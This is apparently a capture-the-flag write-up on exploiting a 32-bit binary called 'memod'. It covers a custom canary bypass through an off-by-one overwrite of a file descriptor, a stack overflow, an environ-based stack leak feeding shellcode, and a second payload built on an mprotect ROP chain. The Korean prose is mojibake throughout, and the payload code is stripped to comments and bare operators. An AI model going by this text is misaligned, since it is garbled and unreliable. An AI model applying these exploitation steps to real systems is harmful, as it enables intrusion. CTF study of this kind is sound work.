memod
๋ชฉ์ฐจ
0x00. Introduction
)
Goal
int __cdecl
์ ์ญ๋ณ์์ธ canary_backup์ 4๋ฐ์ดํธ ๋๋ค๊ฐ์ /dev/urandom์ผ๋ก๋ถํฐ ์ฝ์ด์ค๊ณ , ๊ทธ ๊ฐ์ ์ง์ญ๋ณ์์ธ canary์ ์ ์ฅํ๋ค๊ฐ ๋๋ ๋ ๋น๊ต๋ฅผ ํ๋ค. ๋ง์ฝ ๊ฐ์ด ๋ฐ๋์๋ค๋ฉด ํ๋ก์ธ์ค๋ฅผ ๊ฐ์ ์ข
๋ฃ์ํค๋ฏ๋ก, ์ด๋ฅผ ์ ์ฐํํด์ผ ํ๋ค.
0x01. Vulnerability
char s; // [esp+10h] [ebp-128h] BYREF
;
์ฒซ ๋ฒ์งธ๋ก ๋์ ๋ ๊ฒ์ ebp-0x128์ ์์นํ s์ 512๋ฐ์ดํธ ์
๋ ฅ์ ๋ฐ์ BOF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค๋ ๊ฒ์ด์๋ค. ๋ค๋ง ์์์๋ ์ธ๊ธํ๋ฏ canary๋ฅผ ์ ์ฐํํด์ผ ํ๋ค.
char file; // [esp+110h] [ebp-28h] BYREF
int fd; // [esp+130h] [ebp-8h]
for
๋ค์์ผ๋ก ๋์ ๋ ๊ฒ์ด for๋ฌธ์ ์กฐ๊ฑด๋ฌธ์ด๋ค. file ๋ฐฐ์ด์ด 32๋ฐ์ดํธ์ธ ๋ฐ๋ฉด ์กฐ๊ฑด๋ฌธ์ด i <= 32๋ก ๋์ด์๊ธฐ ๋๋ฌธ์ ๋ง์ง๋ง loop์์ file[32]๊ฐ fd์ ๊ฐ์ฅ ํ์ ๋ฐ์ดํธ๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค.
0x02. Exploit
์ ์ทจ์ฝ์ ์ ์ด์ฉํด์ fd๋ฅผ overwriteํ๊ฒ ๋๋ฉด ์๊ธฐ๋ ๋ฌธ์ ๋ ๋ค์๊ณผ ๊ฐ๋ค.
fd = ;
;
canary = canary_backup;
์ ์จ /dev/urandom์ open()ํด์ ์ ์ฅํ fd๊ฐ ์๋ฑํ ๊ฐ์ผ๋ก ๋ฐ๋๊ฒ ๋๋ค. fd๋ฅผ 0์ผ๋ก ๋ฎ์ด์ stdin์ ๋ง๋ค์ด ๋ด๊ฐ ์
๋ ฅ์ ์ค ์๋ ์๊ณ , ์๋ฑํ fd๊ฐ ์์ผ๋ฉด ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃ๋์ง ์๊ณ , canary_backup์ ์๋ฌด๋ฐ ๊ฐ์ด ์จ์ง์ง ์๊ธฐ ๋๋ฌธ์ ์๋ฑํ ๊ฐ์ผ๋ก ๋ฎ์ด๋ ๋๋ค.
๋ฐ๋ผ์ fd๋ฅผ ์๋ฑํ ๊ฐ์ผ๋ก ๋ฎ๊ณ ์ง์ญ ๋ณ์์ธ canary์ 0x00000000์ ๋ฃ์ด์ฃผ๋ฉด memcmp()๋ฅผ ํต๊ณผํ ์ ์๋ค.
)
์ด์ exploit์ ์ํด์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ดํด๋ณด๋ NX๊ฐ ๊บผ์ ธ์์ด์ ์์ฝ๋๋ฅผ ํตํด ์์ ๋์ฐ๋ ค๊ณ ํ๋ค. ๊ทธ๋ฐ๋ฐ ์๋ฌด๋ฆฌ ์ฐพ์๋ด๋ stack leak์ด ๋ ๋งํ ๋ถ๋ถ์ด ์์๋คโฆ ๊ณ ๋ฏผํ๋ ๊ณผ์ ์์ libc์ ์๋ environ ๋ณ์๋ฅผ ์ด์ฉํ stack leak ๊ธฐ๋ฒ์ ์ฐพ์๋๋ฐ, ํ๋ฒ๋ ์ด๋ ๊ฒ leak์ ํด๋ณธ ์ ์ด ์์ด์ ์ด๋ฅผ ํ์ฉํ payload๋ฅผ ์์ฑํ๋ค.
๋ฌผ๋ก ROP๋ก๋ ํ์ด๊ฐ ๊ฐ๋ฅํด์ mprotect()๋ฅผ ์ด์ฉํ ROP๋ก๋ payload๋ฅผ ์์ฑํ๋ค.
0x03. Payload
Payload Using environ
= True
=
=
=
= f
=
=
=
=
=
# leak libc
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pop ret gadget)
+= # argument #1
+= # ret #3
=
= -
= +
# leak stack
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pop ret gadget)
+= # argument #1
+= # ret #3
=
=
# execute shellcode
= # shellcode
+= b * # dummy
+= b # canary
+= b # sfp
+= # ret #1 (&shellcode)
Payload Using mprotect
= True
=
=
=
= f
=
=
=
=
=
# leak libc
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pr gadget)
+= # argument #1
+= # ret #3
=
= -
= +
= +
# add permission using mprotect
# overwrite fd
= b * 0x124 # dummy
+= b # canary
+= b # sfp
+= # ret #1
+= # ret #2 (pppr gadget)
+= # argument #1
+= # argument #2
+= # argument #3
+= # ret #3
+= # ret #4
+= # argument #1
+= # argument #2
+= # argument #3
# send shellcode
=